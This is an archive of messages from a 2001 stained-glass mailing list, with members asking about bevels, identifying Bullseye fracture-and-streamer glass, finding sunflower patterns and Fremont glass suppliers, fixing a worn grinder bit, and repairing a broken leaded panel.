Message-ID: <1970Jan1.000.0>
Organization: glassdancer
Precedence: bulk

Cindy Peoson.  I know Im not spelling her last name right.
She used to be on aol.  She does really gorgeous sandblasting.

She used to be on Bungi, but I havent seen her post in what seems like
forever.

I have a glass friend here in town that I was telling about her work.
I remember close to two years ago she was going to have knee surgery.

Does anyone have her email address?  Would you send it to me please?

Suzanne
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From owner-glass Fri Feb 23 20:34:41 2001
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X-Path: Fastlane.Net!byronw
From: "Byron Wells" <byronw@Fastlane.Net>
To: "Cecily & Ralph Wood" <cecnralph@home.com>
Content-Type: text/plain;
Subject: Re: glue chip bevels
Date: Fri, 23 Feb 2001 20:23:48 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Let's see a full house beats three of a kind... oops Just kidding... You can
get bevels that are shaped like a house, then they have 1/2 houses and
double houses.. You can make some pretty cool patterns with them...If you
take a square bevel and set a triangle bevel on top that's what they look
like...

Byron...
Wells Glassworks
----- Original Message -----
From: Cecily & Ralph Wood <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
Sent: Thursday, February 22, 2001 8:44 PM
Subject: Re: glue chip bevels


> OK - I give, what are full house and half house in relation to bevels? -
Cec
>
> Byron Wells wrote:
>
> > I've looked in all my wholesale catalogs and don't see any... You may
have
> > to gluechip your own..
> >
> > Byron...
> > Wells Glassworks
> >
> > ----- Original Message -----
> > From: <ARTIZ01@aol.com>
> > To: <glass@bungi.com>
> > Sent: Tuesday, February 20, 2001 10:07 AM
> > Subject: glue chip bevels
> >
> > > Hello,
> > > I am looking for glue chip full house bevels 4" x 12.5 and half house
> > bevels
> > > in glue chip as well in  4" x 6 1/2.
> > > I need these sizes as I have to build 3 large windows to match my
> > customer's
> > > door lites.
> > > Thanks in advance for your help.
> > >
> > > Bob
> > > ----
> > > For subscription changes, please mail to: glass-request@bungi.com
> > > To send to the list,      please mail to: glass@bungi.com
> > > Archives available at http://www.bungi.com/glass
> > >
> > >
> >
> > ----
> > For subscription changes, please mail to: glass-request@bungi.com
> > To send to the list,      please mail to: glass@bungi.com
> > Archives available at http://www.bungi.com/glass
>
> --
> *********************************************************************
> *  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
> *  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
> *********************************************************************
>
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>
>

----
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From owner-glass Fri Feb 23 21:03:43 2001
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	for rglass-42; Fri, 23 Feb 2001 20:53:46 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: home.com!cecnralph
From: Cecily & Ralph Wood <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Re: glue chip bevels
Date: Fri, 23 Feb 2001 23:48:41 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: Grendel Studio
Precedence: bulk

That simple, hunh?  Dag, and here I thought is was something esoteric. - C

Byron Wells wrote:

> Let's see a full house beats three of a kind... oops Just kidding... You can
> get bevels that are shaped like a house, then they have 1/2 houses and
> double houses.. You can make some pretty cool patterns with them...If you
> take a square bevel and set a triangle bevel on top that's what they look
> like...
>
> Byron...
> Wells Glassworks
> ----- Original Message -----
> From: Cecily & Ralph Wood <cecnralph@home.com>
> To: Bungi Glass <glass@bungi.com>
> Sent: Thursday, February 22, 2001 8:44 PM
> Subject: Re: glue chip bevels
>
> > OK - I give, what are full house and half house in relation to bevels? -
> Cec
> >
> > Byron Wells wrote:
> >
> > > I've looked in all my wholesale catalogs and don't see any... You may
> have
> > > to gluechip your own..
> > >
> > > Byron...
> > > Wells Glassworks
> > >
> > > ----- Original Message -----
> > > From: <ARTIZ01@aol.com>
> > > To: <glass@bungi.com>
> > > Sent: Tuesday, February 20, 2001 10:07 AM
> > > Subject: glue chip bevels
> > >
> > > > Hello,
> > > > I am looking for glue chip full house bevels 4" x 12.5 and half house
> > > bevels
> > > > in glue chip as well in  4" x 6 1/2.
> > > > I need these sizes as I have to build 3 large windows to match my
> > > customer's
> > > > door lites.
> > > > Thanks in advance for your help.
> > > >
> > > > Bob
> > > > ----
> > > > For subscription changes, please mail to: glass-request@bungi.com
> > > > To send to the list,      please mail to: glass@bungi.com
> > > > Archives available at http://www.bungi.com/glass
> > > >
> > > >
> > >
> > > ----
> > > For subscription changes, please mail to: glass-request@bungi.com
> > > To send to the list,      please mail to: glass@bungi.com
> > > Archives available at http://www.bungi.com/glass
> >
> > --
> > *********************************************************************
> > *  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
> > *  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
> > *********************************************************************
> >
> >
> > ----
> > For subscription changes, please mail to: glass-request@bungi.com
> > To send to the list,      please mail to: glass@bungi.com
> > Archives available at http://www.bungi.com/glass
> >
> >
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


----
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From owner-glass Fri Feb 23 21:19:51 2001
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X-Path: home.com!cecnralph
From: Cecily & Ralph Wood <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: 25th Annual ACC Craft Show in Baltimore tomorrow and Sunday
Date: Fri, 23 Feb 2001 23:31:15 -0500
Message-ID: <1970Jan1.000.0>
Organization: Grendel Studio
Precedence: bulk

This is a national juried event - one of the biggies.  Saturday and
Sunday are open to the public and around 35,000 people come.  The first
days are open only to members and is a major source for the high-end
arts and craft galleries.  If you are within reach of the Baltimore
Convention Center and have never attended this, you are in for a treat.
I'm not an ACC member, but have been going to the show since its
beginnings.  Major glass of all kinds, although not as many stained
glass exhibits as I'd like.  Also wood furniture to die for, wonderful
ceramics, jewellry of all kinds, paintings/prints, metals in many forms,
wearables, musical intruments...if it can be made beautifully by hand it
is here. - Cec

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


----
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From owner-glass Sat Feb 24 05:30:05 2001
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X-Path: ns.sympatico.ca!heinze.g
From: heinze.g@ns.sympatico.ca (Gail HeinzeMiline)
To: glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: Ceiling Panels revisited
Date: Thu, 22 Feb 2001 19:39:38 -0400
Message-ID: <1970Jan1.000.0>
Organization: Glass with Class
Precedence: bulk

Well, the panels are finished and installed. They came out truly
beautiful, and the client was immensely pleased and gave me another
large window commission. As we weren't able to get tempered glass
locally to use under the copper foil panels, we used 1/4 inch float. The
client had the frame reinforced to insure it would hold the extra
weight. I t looks great. From some angles there is reflection of the
float glass, but it is a minimal problem. And installation was
relatively easy. When my pictures come back I'll post one for you.
Thanks to all who helped!

Gail in Nova Scotia

--
-----------------------------------------------------
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http://www.gohip.com/free_video/


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From owner-glass Sat Feb 24 06:00:25 2001
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X-Path: aol.com!CncptThnkr
From: CncptThnkr@aol.com
To: PookyPook@aol.com, glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: Grinder bit
Date: Sat, 24 Feb 2001 08:46:37 EST
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Did you ever notice the same chipping problem when you raised or lowered your 
bit to use a new part of the surface?   I personally noticed it myself last 
week when I adjusted my bit.  

Don't toss your old grinder bit if it still has any life in it....you can use 
it on glass that tends to be "more fragile".  Sorta like making your own fine 
bits.
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From owner-glass Sat Feb 24 07:02:46 2001
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X-Path: netcom.ca!shmilly
From: Bill <shmilly@attcanada.ca>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"
Subject: thanks all!! Re: jig for cutting 1/2 inch squares
Date: Sat, 24 Feb 2001 09:31:56 -0500
Message-ID: <3.0.6.32.20010224093156.0079f8e0@popd.netcom.ca>
References: <<ce.1108d02d.27c81c8f@aol.com>>
Precedence: bulk

hi all.....thanks for all the responses to my question regarding the
cutting problem........i got a lot of information about the morton system
at their website.........if anyone else is interested, their website is at
http://www.mortonglass.com       ..........once again, thanks to
all!!!....bill      
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From owner-glass Sat Feb 24 10:07:51 2001
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X-Path: mindspring.com!glassgirl
From: "cheryl zipf" <glassgirl@mindspring.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: re.grinder 
Date: Sat, 24 Feb 2001 12:38:19 -0800
Message-ID: <1970Jan1.000.0>
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_005F_01C09E5E.AAF87D20
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

your heads just new get some old hard scrap glass and grind away on it , =
you want to wear the bit abit ,- lots of water should grid pretty well =
after that.

------=_NextPart_000_005F_01C09E5E.AAF87D20
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>your heads just new get some old hard =
scrap glass=20
and grind away on it , you want to wear the bit abit&nbsp;,- lots of =
water=20
should grid pretty well after that.</FONT></DIV></BODY></HTML>

------=_NextPart_000_005F_01C09E5E.AAF87D20--

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From owner-glass Sat Feb 24 19:33:46 2001
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X-Path: ime.net!bei
From: Lynda Burleigh <bei@ime.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Name of Glass
Date: Sat, 24 Feb 2001 21:59:44 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi All....

Could someone tell me what they call the glass that is a clear textured
poured over thin chips of pink and green glass .......the green and pink
makes me think of pieces of leaves and flower petals...there's black
straight and squiggly lines applied too......My friend bought me a few
pieces from a scrap box at an yard sale...........

Thanks......
Lynda

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From owner-glass Sat Feb 24 20:15:21 2001
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: "Lynda Burleigh" <bei@ime.net>,
Content-Type: text/plain;
Subject: RE: Name of Glass
Date: Sat, 24 Feb 2001 23:05:39 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

it sounds like uroboros confetti and stringer glass. unless it's that mardi
gras glass. it sounds like confetti though.


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

> -----Original Message-----
> From: Lynda Burleigh [mailto:bei@ime.net]
> Sent: Saturday, February 24, 2001 10:00 PM
> To: glass@bungi.com
> Subject: Name of Glass
>
>
> Hi All....
>
> Could someone tell me what they call the glass that is a clear textured
> poured over thin chips of pink and green glass .......the green and pink
> makes me think of pieces of leaves and flower petals...there's black
> straight and squiggly lines applied too......My friend bought me a few
> pieces from a scrap box at an yard sale...........
>
> Thanks......
> Lynda
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>

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From owner-glass Sat Feb 24 20:26:59 2001
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X-Path: netzero.com!heesunstainedglassltd
From: "Hee Sun Stained Glass, LTD." <heesunstainedglassltd@netzero.com>
To: "Lynda Burleigh" <bei@ime.net>
Subject: Re: Name of Glass
Date: Sat, 24 Feb 2001 23:02:01 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Sounds like Bullseye Fracture & Streamer 4114-00  if it's a spring green and
deep pink check out this URL
http://www.bullseye-glass.com/products/411400.html
 or if that doesn't work go to
www.bullseye-glass.com   stained glass is under the product heading.

Robert
CEO/Founder
Hee Sun Stained Glass LTD
324 Main Street
Reisterstown, MD 21136
410-833-3007
jeanne@heesun.com
www.heesun.com

----- Original Message -----
From: Lynda Burleigh <bei@ime.net>
To: <glass@bungi.com>
Sent: Saturday, February 24, 2001 9:59 PM
Subject: Name of Glass


> Hi All....
>
> Could someone tell me what they call the glass that is a clear textured
> poured over thin chips of pink and green glass .......the green and pink
> makes me think of pieces of leaves and flower petals...there's black
> straight and squiggly lines applied too......My friend bought me a few
> pieces from a scrap box at an yard sale...........
>
> Thanks......
> Lynda
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>


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From owner-glass Sat Feb 24 20:33:13 2001
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X-Path: warmglass.com!mbwalker
From: "Brad Walker" <mbwalker@warmglass.com>
To: "Lynda Burleigh" <bei@ime.net>, <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Name of Glass
Date: Sat, 24 Feb 2001 23:11:52 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

> Could someone tell me what they call the glass that is a clear textured
> poured over thin chips of pink and green glass .......the green and pink
> makes me think of pieces of leaves and flower petals...there's black
> straight and squiggly lines applied too......My friend bought me a few
> pieces from a scrap box at an yard sale...........
>
> Thanks......
> Lynda

Sounds like you're describing one of Bullseye's fracture/streamers.  That
particular glass sounds like the 4114-00 Spring Green & Deep Pink:
http://www.bullseye-glass.com/products/fracs.html

Brad Walker
---------------------------------------------------------------
For information about warm glass techniques and processes
such as fusing, slumping, and kiln forming, please visit
the Warm Glass website at http://www.warmglass.com

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From owner-glass Sun Feb 25 06:36:51 2001
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X-Path: bright.net!arasai
From: "Sarah" <arasai@bright.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Sunflower patterns
Date: Sun, 25 Feb 2001 09:11:55 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi to all, I have a customer who wants a sunflower panel made for a
drum-style end table. A friend sent me a pattern for a sunflower, but now
this lady wants to look through several patterns to pick her design! Does
anyone know of a book or books that has sunflower patterns ? I've not been
able to find any, this panel will be about 12x12 inches or so... Thanks!
Sarah
May your day be as beautiful as you are...!

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From owner-glass Sun Feb 25 06:48:59 2001
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Subject: Grinder problem solved!
Date: Sun, 25 Feb 2001 09:25:32 EST
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--part1_d9.10b3d62a.27ca6fdc_boundary
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Well, the mystery of the grinder bit is solved! I checked it over on the=20
grinder and didn't see anything wrong. So I decided to try a new bit. When m=
y=20
hubby got the problem one off (it was frozen on!) I checked it over. There=20
was a good chunk of the =A0surface gone! No wonder it vibrated so badly! And=
=20
this bit is only about 3 months old! I may contact the Glastar company since=
=20
it is their bit.=20

Thanks for all the great advice! I really do appreciate it! You guys are=20
great!


Ruth
"If we quit voting will they all go away?"
http://members.aol.com/RTSkeeter
 ICQ11716411



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<HTML><FONT FACE=3Darial,helvetica><FONT  SIZE=3D2>Well, the mystery of the=20=
grinder bit is solved! I checked it over on the=20
<BR>grinder and didn't see anything wrong. So I decided to try a new bit. Wh=
en my=20
<BR>hubby got the problem one off (it was frozen on!) I checked it over. The=
re=20
<BR>was a good chunk of the =A0surface gone! No wonder it vibrated so badly!=
 And=20
<BR>this bit is only about 3 months old! I may contact the Glastar company s=
ince=20
<BR>it is their bit.=20
<BR>
<BR>Thanks for all the great advice! I really do appreciate it! You guys are=
=20
<BR>great!
<BR>
<BR>
<BR>Ruth
<BR>"If we quit voting will they all go away?"
<BR>http://members.aol.com/RTSkeeter
<BR> ICQ11716411
<BR>
<BR></FONT></HTML>

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From owner-glass Sun Feb 25 07:02:49 2001
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X-Path: warner-criv.com!charles
From: "Charles Warner" <charles@warner-criv.com>
To: "Lynda Burleigh" <bei@ime.net>,
Content-Type: text/plain;
Subject: RE: Name of Glass----> Fractures and Streamers
Date: Sun, 25 Feb 2001 09:04:32 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

This is called Fractures and Streamers.  Click on the link below to see pink
and green fractures with green streamers.

http://www.warner-criv.com/product.asp?pf%5Fid=9973%2D11%2D29&mscssid=RB1KDT
RKJTS12HXQ00L1RMU4RCUJ9DC7

Charles Warner
Warner-Crivellaro
http://www.warner-criv.com/


> -----Original Message-----
> From: Lynda Burleigh [mailto:bei@ime.net]
> Sent: Saturday, February 24, 2001 10:00 PM
> To: glass@bungi.com
> Subject: Name of Glass
>
>
> Hi All....
>
> Could someone tell me what they call the glass that is a clear textured
> poured over thin chips of pink and green glass .......the green and pink
> makes me think of pieces of leaves and flower petals...there's black
> straight and squiggly lines applied too......My friend bought me a few
> pieces from a scrap box at an yard sale...........
>
> Thanks......
> Lynda

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From owner-glass Sun Feb 25 10:42:32 2001
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X-Path: together.net!jbuckner
From: Jennifer Buckner <jbuckner@together.net>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: Re: Sunflower patterns
Date: Sun, 25 Feb 2001 12:39:47 -0500
Message-ID: <4.3.2.7.2.20010225123816.00abb7f0@pop.together.net>
References: <<1970Jan1.000.0>>
Precedence: bulk

At 09:11 AM 02/25/2001 -0500, you wrote:
>Hi to all, I have a customer who wants a sunflower panel made for a
>drum-style end table. A friend sent me a pattern for a sunflower, but now
>this lady wants to look through several patterns to pick her design! Does
>anyone know of a book or books that has sunflower patterns ? I've not been
>able to find any, this panel will be about 12x12 inches or so... Thanks!
>Sarah
>May your day be as beautiful as you are...!

From owner-glass Sun Feb 25 15:10:45 2001
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From: Jennifer Buckner <jbuckner@together.net>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: sunflower patterns (again)
Date: Sun, 25 Feb 2001 17:32:04 -0500
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Precedence: bulk

Sarah,
I responded to your request for a sunflower pattern but it seems to have 
disappeared.  What I said was that Glass Patterns Quarterly had a very nice 
sunflower pattern on their cover about 2 or 3 years ago.  You might check 
the ad in the back of a current magazine for back issues.
Jennifer
Jennifer G. Buckner jbuckner@together.net

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From owner-glass Sun Feb 25 20:07:49 2001
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X-Path: dellepro.com!gunnx4
From: Suzanne Gunn <gunnx4@dellepro.com>
To: Sarah <arasai@bright.net>, glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: Sunflower patterns
Date: Sun, 25 Feb 2001 21:15:33 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: glassdancer
Precedence: bulk

I remember hollander had a sort of sunflower pattern.
You can do a pattern search at www.warner-criv.com

Suzanne

Sarah wrote:
> 
> Hi to all, I have a customer who wants a sunflower panel made for a
> drum-style end table. A friend sent me a pattern for a sunflower, but now
> this lady wants to look through several patterns to pick her design! Does
> anyone know of a book or books that has sunflower patterns ? I've not been
> able to find any, this panel will be about 12x12 inches or so... Thanks!
> Sarah
> May your day be as beautiful as you are...!
> 
> ----
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From owner-glass Mon Feb 26 10:32:10 2001
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X-Path: stratus.com!Charlie.Spitzer
From: "Spitzer, Charlie" <Charlie.Spitzer@stratus.com>
To: "'glass@bungi.com'" <glass@bungi.com>
Content-Type: text/plain;
Subject: fremont glass
Date: Mon, 26 Feb 2001 09:23:49 -0700
Message-ID: <1970Jan1.000.0>
Precedence: bulk

anyone have an online contact for fremont glass? i've been unable to find
it, and my local shops don't carry this line.

regards,
charlie
phx, az
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From owner-glass Mon Feb 26 11:52:10 2001
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X-Path: warmglass.com!mbwalker
From: "Brad Walker" <mbwalker@warmglass.com>
To: "Spitzer, Charlie" <Charlie.Spitzer@stratus.com>, <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: fremont glass
Date: Mon, 26 Feb 2001 14:26:05 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Fremont Glass Co., 250 E. 4th St., Fremont, NE Seattle, WA - 402-721-7200

No web site that I'm aware of, but here's an interesting pictorial of how
they make the glass:
http://www.stainedglassretailers.com/fremont_antique_glass.htm

Brad Walker
----------------------------------------------------------------------------
------
For information about warm glass techniques and processes
such as fusing, slumping, and kiln forming, please visit
the Warm Glass website at http://www.warmglass.com
----- Original Message -----
From: Spitzer, Charlie <Charlie.Spitzer@stratus.com>
To: <glass@bungi.com>
Sent: Monday, February 26, 2001 11:23 AM
Subject: fremont glass


> anyone have an online contact for fremont glass? i've been unable to find
> it, and my local shops don't carry this line.
>
> regards,
> charlie
> phx, az
> ----
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From owner-glass Mon Feb 26 12:48:10 2001
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X-Path: bellsouth.net!ddhess
From: Dina and Don Hess <ddhess@bellsouth.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Panel repair advice collection
Date: Mon, 26 Feb 2001 14:25:08 -0600
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Thanks for all of the advice, everyone, and my apologies for
disappearing for a week and a half after asking for help -- things got a
bit hairy around here!

Here's the collection of all of the email advice I received.  I really
appreciate all of the help!

Dina

-------------------------------
Steve Richard wrote:

> Sarah,
>         This is the time when the oyster knife is really useful.  It is
> a strong blade that is turned up just about 3/8 inch before the end.
> You use this or you can (with more difficulty) use a straight blade to
> remove the cement (which should be easy, as it will not yet be hard).
> You then work from the side that will be the inside when installed to
> gently and progressively lift the leaf of the lead all around the piece
> of glass.
>         At the solder joints you can either use your lead knife to cut
> into them, or use the soldering iron to melt the solder and keep it from
> reforming, by placing the lead knife between the pieces of lead.  These
> can then be opened up too, until all the lead leaf over the broken glass
> is standing vertical.
>         All this work needs to be done parallel to the surface of the
> glass, to avoid breaking other pieces of glass.  You also must be sure
> to keep you hands behind the blade.  Cut, push, lift, etc. away from
> your limbs and body.  To secure the panel, nail a wood batten on the
> bench so the panel is pushed against it. (Make sure the batten is really
> well secured!)
>         Now you should be able to lift/push the broken piece out.  As
> you will still have the cartoon from which you made this (don't you),
> you will be able to cut another piece just as before.  It may need to be
> very slightly smaller to fit back in.
>         Then you gently fold the lead leaf back down.  do it
> progressively, a little at a time all along the leaf, so you don't kink
> it.  If done carefully in both lifting and folding down, it will be
> difficult to see the lead has been disturbed.  Cement as usual and you
> are finished.
>

----------------------------------
Yup - we've all had it happen.  And I've fixed some things for others as
well.  Hopefully, you can pretend some of the broken pieces are supposed
to
be two pieces, smooth down the edges and foil or lead.  It certainly
takes
the curse-of-the-symetrical off some projects!!!  Otherwise, it is a
slow
process and requires incredible patience.  Much more fun to make new
than
repair.  When I start to do glass commercially I think I shall charge 3
to
4 times what a new piece would cost - maybe that way I don't get the
job?
On the down side, tho - I understand a lot of the regular money stream
involves repairs.  Depressing!  Tulsa Suzanne certainly has a point
about
dinner, tho - milk it for all it's worth, and hug your kid - good thing
she
wasn't near enough to be hurt. - Cec

----------------------------------
>        I would add that, in this case where there is extensive
breakage, and the perimeter is also broken, you can cut through the
solder joint on both sides of the panel by pushing and wiggling your
lead knife through the joint.  Hold the knife parallel to the glass, do
not push down on top of the glass (I know it is broken already, but you
don't want any of the glass to come up into your hand).   Using this
process you can tear the whole panel down to its constituent parts if
you want.<

This is also a good place to use your dremel.  There is an attachment
whi=
ch
is a thin metal cutting attachement, which is great
for cutting through the solder joints.  Be sure to wear eye protection
an=
d
a dust mask when doing this.  Run the knife under the
glass to cut through the putty.  Use the knife to gently lift up the
lead=

came flanges so that you can get the broken glass out and
the replacement glass in.  Be sure to thourally clean out old putty
befor=
e
you try fitting the new glass into the area.
Then use your fid or knife to gently press down the lead came flanges
bac=
k
into place, and resolder the joints.

Christie A. Wood
North Wales, PA USA
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From owner-glass Mon Feb 26 14:11:10 2001
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X-Path: warmglass.com!mbwalker
From: "Brad Walker" <mbwalker@warmglass.com>
To: "Spitzer, Charlie" <Charlie.Spitzer@stratus.com>, <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: fremont glass
Date: Mon, 26 Feb 2001 15:20:19 -0500
Message-ID: <1970Jan1.000.0>
References: <<75F036A5970CD311A993009027283DC40138CB02@exphx.az.stratus.com>>
Precedence: bulk

Charlie,

Each sheet of Fremont is unique and a work of art.  You really have to see
it to pick it out.  It's also quite expensive.

Cline (the firm I mentioned earlier) is a glass distributor, but they have a
retail shop (two, actually) in Portland.  S. A. Benheim in Passaic, NJ (800
221-7379) is another distributor who carries Fremont.

My apologies for the earlier address.  (I had two Fremonts in my directory).
Here's the right one:  Fremont Antique Glass, 3614 2nd Avenue N.W., Seattle
WA 98107. Phone: (206) 633-2253.

Good luck.

Brad
----------------------------------------------------------------------------
------
For information about warm glass techniques and processes
such as fusing, slumping, and kiln forming, please visit
the Warm Glass website at http://www.warmglass.com
----- Original Message -----
From: Spitzer, Charlie <Charlie.Spitzer@stratus.com>
To: 'Brad Walker' <mbwalker@warmglass.com>
Sent: Monday, February 26, 2001 2:40 PM
Subject: RE: fremont glass


> phoenix, az
>
> i've seen some of their glass, but don't have a catalog or anything, so
> don't have any stock #s or anything. since it's all handmade, maybe it's
all
> pretty unique and i'd have to pick it out in person.
>
> i'll give the factory a call and see what they say.
>
> charlie
>
> > -----Original Message-----
> > From: Brad Walker [mailto:mbwalker@warmglass.com]
> > Sent: Monday, February 26, 2001 12:49 PM
> > To: Spitzer, Charlie
> > Subject: Re: fremont glass
> >
> >
> > Charlie,
> >
> > Cline in Portland comes to mind. 1-800-547-8417
> >
> > Where are you located?
> >
> > Brad
> > --------------------------------------------------------------
> > --------------
> > ------
> > For information about warm glass techniques and processes
> > such as fusing, slumping, and kiln forming, please visit
> > the Warm Glass website at http://www.warmglass.com
> > ----- Original Message -----
> > From: Spitzer, Charlie <Charlie.Spitzer@stratus.com>
> > To: 'Brad Walker' <mbwalker@warmglass.com>
> > Sent: Monday, February 26, 2001 2:35 PM
> > Subject: RE: fremont glass
> >
> >
> > > thanks, but i was looking for a place to actually buy some.
> > >
> > > c
> > >
> > > > -----Original Message-----
> > > > From: Brad Walker [mailto:mbwalker@warmglass.com]
> > > > Sent: Monday, February 26, 2001 12:26 PM
> > > > To: Spitzer, Charlie; glass@bungi.com
> > > > Subject: Re: fremont glass
> > > >
> > > >
> > > > Fremont Glass Co., 250 E. 4th St., Fremont, NE Seattle, WA -
> > > > 402-721-7200
> > > >
> > > > No web site that I'm aware of, but here's an interesting
> > > > pictorial of how
> > > > they make the glass:
> > > > http://www.stainedglassretailers.com/fremont_antique_glass.htm
> > > >
> > > > Brad Walker
> >

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From owner-glass Mon Feb 26 22:12:49 2001
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X-Path: centurytel.net!Fortschultz
From: Grant Schultz <Fortschultz@centurytel.net>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: using copper strips for support
Date: Mon, 26 Feb 2001 17:12:37 -0600
Message-ID: <1970Jan1.000.0>
Organization: Sentury Insurance
Precedence: bulk


--------------937F2ECCD6C16E64FB27D063
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi to all!
I am attempting a large diptich (2 panels that the designs flow together
but will be separated by an inch or so between panels) It is copper
foiled and  each measures 40 inches by 12 inches. It is of a large oak
tree as well as pine trees, water,rocks etc. What is the proper rule for
placing the copper supports strips in this work.? They will be installed
on a bathroom door at my parents cabin. They will sit in the openings
and then be framed in . I have cut small strips of this copper and
placed it between pieces through out the piece. Is that all I do? I
never have had to rebar but I do not think I have to do this, just use
the copper strips right? I have never created such a long or this large
of piece .

Thanks to all who reply!
Christy
P.S. a local glass supplier just cleared out all glass and supplies,
they are just doing glass repairs and jobs, no classes, bummer, but they
had all the supplies and glass on sale 60 % of and such! Boy did I go
nuts! That was so much fun! I snapped a little but I now have a lot of
glass. It is kinda like having a fridge full of groceries and a cookie
jar filled with cookies!  I love just sitting in my studio and looking
around at all my glass.....:)

--------------937F2ECCD6C16E64FB27D063
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Hi to all!
<br>I am attempting a large diptich (2 panels that the designs flow together
but will be separated by an inch or so between panels) It is copper foiled
and&nbsp; each measures 40 inches by 12 inches. It is of a large oak tree
as well as pine trees, water,rocks etc. What is the proper rule for placing
the copper supports strips in this work.? They will be installed on a bathroom
door at my parents cabin. They will sit in the openings and then be framed
in . I have cut small strips of this copper and placed it between pieces
through out the piece. Is that all I do? I never have had to rebar but
I do not think I have to do this, just use the copper strips right? I have
never created such a long or this large of piece .
<p>Thanks to all who reply!
<br>Christy
<br>P.S. a local glass supplier just cleared out all glass and supplies,
they are just doing glass repairs and jobs, no classes, bummer, but they
had all the supplies and glass on sale 60 % of and such! Boy did I go nuts!
That was so much fun! I snapped a little but I now have a lot of glass.
It is kinda like having a fridge full of groceries and a cookie jar filled
with cookies!&nbsp; I love just sitting in my studio and looking around
at all my glass.....<font size=+1>:)</font></html>

--------------937F2ECCD6C16E64FB27D063--

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From owner-glass Tue Feb 27 12:02:11 2001
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X-Path: slonet.org!edupjohn
From: "Peggy W. Johnsen" <edupjohn@slonet.org>
To: CINDEL67@aol.com
Content-Type: TEXT/PLAIN; charset=US-ASCII
Subject: Re: Morton system
Date: Tue, 27 Feb 2001 11:32:26 -0800 (PST)
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Cinda:  Go for it!  you won't be sorry you have the portable glass shop.
It permits you to cut straight and trapizoids with accuracy.  Peggy

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From owner-glass Tue Feb 27 21:43:32 2001
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X-Path: centurytel.net!Fortschultz
From: Grant Schultz <Fortschultz@centurytel.net>
To: sonyaamt@mindspring.com, "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
